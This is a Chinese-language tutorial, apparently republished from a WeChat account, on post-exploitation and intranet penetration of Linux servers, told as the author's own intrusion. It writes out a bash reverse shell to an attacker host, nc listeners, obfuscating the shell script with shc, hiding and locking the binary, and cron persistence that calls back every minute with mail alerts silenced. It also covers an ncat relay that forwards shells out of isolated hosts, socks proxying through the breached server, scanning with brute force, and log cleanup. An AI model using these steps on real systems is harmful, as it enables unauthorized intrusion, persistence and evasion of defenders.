繞php的disable_functions 此處建議用AntSword的官方繞過插件全自動繞
繞過失敗的可以手動試一下
另外,可以看一下web程序存的數據庫的用戶名和密碼,然后看一下數據庫能不能利用,比如寫文件或者寫日志,以及各種提權,如果繞過disable_functions失敗,數據庫也不能利用的可以看一下目標服務器上都有什么文件,比如其他站點或者其他可以利用的東西,如果限制了訪問目錄那就只能留著以后再看了
隱藏ip
隱藏攻擊ip還是很重要的,不然容易被溯源,可以上cdn或者用云函數等 但是此處也是有大坑的,能訪問國外服務器的目標機器就好辦了,直接上就行,但是不能訪問國外服務器的目標機器,首先用Cloudflare比較卡,其次用國內的云服務商的則需要實名,而且費用也不低,所以實在沒辦法就別隱藏ip了,此處我也沒有隱藏ip
加密bash反彈shell
正常的bash反彈shell: 目標機器反彈shell:
bash -i >& /dev/tcp/攻擊機的ip/攻擊機接收shell的端口 0>&1
攻擊機接收反彈來的shell:
nc -lvvp 攻擊機接收shell的端口
//netcat版本低時l和p參數不兼容,可以nc -lvv port監聽端口
這個repository加密一下bash腳本,加密后會生成一個c源代碼文件和編譯之后的二進制文件,把編譯之后的二進制文件傳到目標機器上執行就行了,可以彌補一下目標機器在國內時不便于隱藏攻擊ip的缺陷
本地執行:
./shc -Uvrf reverse.sh -o reverse
把生成的reveser傳到目標機器上,執行:
./reverse
webshell提供的shell環境限制很多,所以最好先反彈shell,盡量不要正向連接shell,開個端口動靜太大
首先是不能彈shell的情況,比如相關的bash,nc等命令都被限制了,那先嘗試提權
能彈shell但是接收不到的時候,可以看一下目標是不是限制出網或者限制出站端口
如果限制出網那就先嘗試提權,如果限制出站端口可以批量試一下常見的端口,在自己的vps上,通過nginx監聽多個端口來快速啟動多個端口,然后再在目標機器上上傳個sh腳本,批量curl自己vps的指定端口,最后看一下結果就可以了,nmap ---top-ports 100或1000可以掃描nmap整理的100或1000個最常用的端口,可以參考一下
測試出網端口的具體步驟:
1.在正常的nginx配置文件中找到listen port,在后面復制一行,把port改成自己想開放的端口,重啟nginx
2.寫一個sh腳本,內容就是每行都curl想測試的端口:curl vps:port
3.傳到目標機器上,運行并且重定向到文件里:./shfile > result.txt
4.查看result.txt中的結果,就可以看到哪些端口能出網,nmap ---top-ports 100和nmap ---top-ports 1000可以查看nmap整理的100和1000個最常用的端口,可以參考一下
成功收到shell的時候,依舊是個很難用的shell,可以再升級成完全的shell再用,升級之后和真實shell一樣,非常舒服
# 攻擊機本地執行# 首先檢查當前終端和STTY信息$ echo $TERM$ stty -a# 查看輸出的rows和columns,后面配置用
此處的這些操作是重復性的,和具體設備無關,所以用xshell的可以寫個xshell的腳本或者錄制個xshell的腳本,不過我這邊錄制的時候生成的腳本內容總是為空,應該是個bug,也沒時間研究寫xshell的腳本了,所以直接用按鍵精靈寫了個
畢竟按鍵精靈只是模仿輸入,不能獲取到結果,所以每一步都是只輸入,不回車,需要自己回車,而且每一次輸入之后會多監聽一次任意按鍵事件,以防想暫停
如果想把這個shell關了,或者這個shell接收到了內網的其他shell,然后想把接收到的其他shell關了,需要輸入兩次exit退出,然后可能shell的格式是亂的,這時候reset一下就好了
在攻擊機上肯定不可能直接就接收shell,如果本地和攻擊機的shell連接斷了,那么攻擊機和目標機器的shell也就斷了,或者想把攻擊機接收到的shell掛在后臺,也不能直接接收shell,此處我推薦使用screen,類似于windows下的多窗口,接收shell的時候新開一個screen掛在后臺,不用的時候就在后臺掛著,用的時候切過去用就可以了
screen的簡單使用教程:
1.screen -S 這個screen會話的名字創建一個screen
2.在screen的會話中時,快捷鍵ctrl+a,ctrl+d把當前screen放在后臺
3.screen -r screen會話的名字恢復一個screen
4.在screen的會話中exit可以退出screen
5.一些小技巧:
1.`screen -list`查看所有的screen會話
2.`screen -list`會顯示相應對話的pid,通過`kill -9 pid`也可以關閉相應的screen會話
3.`screen -d screen會話的名字`可以將一個正在活動的screen放到后臺
4.如果在screen中嵌套了screen,那么快捷鍵ctrl+a,ctrl+a,ctrl+d可以把第二層screen放在第一層的后臺,快捷鍵ctrl+a,ctrl+d是不論嵌套幾層screen都會把最外層的screen放在后臺的
低權限提權
首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同時看看打沒打補丁,如果目標機器不能編譯的話可以在自己的機器上編譯好了傳過去 此處也發現了幾個提權工具,不過我試了一下不是很好用,都是靠版本來判斷的,和手動搞一樣
權限維持
切記要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者沒了,方法很多,可以google搜一下,與時俱進,用最新的東西,下面是一種我常用的權限維持的方式:
cron計劃任務權限維持比較簡單,當然也比較明顯:
建議用前面說的shc加密,上傳生成的二進制文件,用這個二進制文件彈shell,安全性高一點
上傳之后:
1.先chmod +x 二進制文件給一下權限
2.然后在名字前面加個.變為隱藏文件(ls -a可以查看隱藏文件)
3.再嘗試一下chattr +i 二進制文件(chattr -i 二進制文件可以解除鎖定)防止刪除,有相應的權限才能成功執行這條命令
4.最后把這個文件放在安全又隱秘的位置,
配置cron計劃任務時,如果是root用戶,那就在/etc/crontab里添加,如果不是root用戶,那就用crontab -e添加,注意crontab -e需要交互式shell,理論上來說非root用戶的cron存在/var/spool/crond下(CentOS),可以直接編輯相應的文件,但是非root用戶通常沒有權限直接編輯,所以還是需要獲取交互式shell然后crontab -e添加
root用戶在/etc/crontab里添加的計劃任務,通過crontab -l或crontab -e是看不到的
/etc/crontab里應該有默認的配置和默認的例子,crontab -e沒有,不管是怎么寫cron,都建議使用以下配置:
在寫cron之前先執行$PATH查看環境變量并復制,然后再寫cron
首先第一行配置為SHELL=+相應的shell位置,第二行配置為PATH=+默認的(如果有的話)加上前面的$PATH,第三行配置為MAILTO="",第三行的意義是計劃任務的執行結果不給用戶發郵件,因為計劃任務反彈shell是不停的反彈,但是攻擊機如果之前接收到的shell還沒關端口被占用著彈shell就失敗了就會報錯然后發郵件,發了郵件的話每次執行命令都會提示,很容易就被發現了
最后配置計劃任務:
root用戶配置為* * * * * root /要執行的命令或文件
非root用戶配置為* * * * * /要執行的命令或文件
如果要修改執行的間隔可以研究一下cron的語法,上面的是每分鐘彈一次shell
內網
信息收集
激動人心的時刻來了,打內網 因為我拿到的shell都是linux下的,沒有類似windows上的域控等等,所以此處就掃掃端口,此處可以用nmap,也可以用fscan,強烈推薦fscan,用一次就上癮,很好用
搭建代理
有些內網ip的端口上跑的比如網站等等在命令行不太好滲透,而且有些內網ip是不出網的,只能通過我們打下來的這個邊界服務器來訪問,所以建個代理還是很有必要的
此處我推薦用frp,然后依舊遵循動靜小點的原則,不在目標機器上開端口,在自己的vps上架設frp的服務端,在目標機器上架設frp的客戶端,然后在客戶端啟用socks5代理插件,這會在服務端上開一個你指定的端口用來做socks5代理,可以配置用戶名和密碼,還可以遠程連接,同時可以搭配其他軟件做ip的黑白名單,非常好用,本地配置代理Windows建議用Proxifier,Linux建議用proxychains-ng(proxychains4)
另外也可以用Neo-reGeorg,直接上傳個php/jsp等文件就可以建socks5代理,也很好用,對比frp一個優點是只傳文件不用執行命令就可以建代理,另一個優點是不用在目標機器上額外在后臺掛一個程序
內網滲透
其實和前面的web滲透一樣,只不過有些應用在內網比較常見,所以需要去了解一下,搜一下有什么漏洞
fscan本身會檢測漏洞,比如各種未授權訪問,也會爆破一些端口的服務,比如mysql,ssh或者Tomcat的Manager App的弱口令等
一個C段可以見識不少東西,打了一遍下來竟然天亮了...一天一夜過去了
具體就不細說了,遇見哪個搜哪個,這個C段遇到的web程序基本都是java系的,還有一些python系的
內網不出網反彈shell
目標機器如果不出網可以反彈到已經打下來的內網機器上,也可以再把反彈的端口轉發到vps上,實現通過轉發出網
通過ncat轉發出網:
中轉的機器執行:
ncat -l 中轉機器接收內網反彈來的shell的端口 -c 'ncat 攻擊機的ip 攻擊機的端口'
這樣攻擊機就可以接收到不出網的設備彈的shell,唯一的缺點就是中轉的機器要占用個端口 中不中轉對于不出網的設備的權限維持都是一樣的,主要的區別就是在vps上連不出網的設備方便點
痕跡清理
主要是命令的歷史記錄和日志文件,不過基本清不干凈,而且有些地方記錄了也清不到,隱藏攻擊ip比較萬能
下面是一個簡單粗暴的清理方式,如無必要不建議使用:
審核編輯:劉清
-
Web
+關注
關注
2文章
1262瀏覽量
69441 -
服務器
+關注
關注
12文章
9124瀏覽量
85332 -
數據庫
+關注
關注
7文章
3794瀏覽量
64362 -
Shell
+關注
關注
1文章
365瀏覽量
23358
原文標題:干貨|后滲透及內網初體驗的總結
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論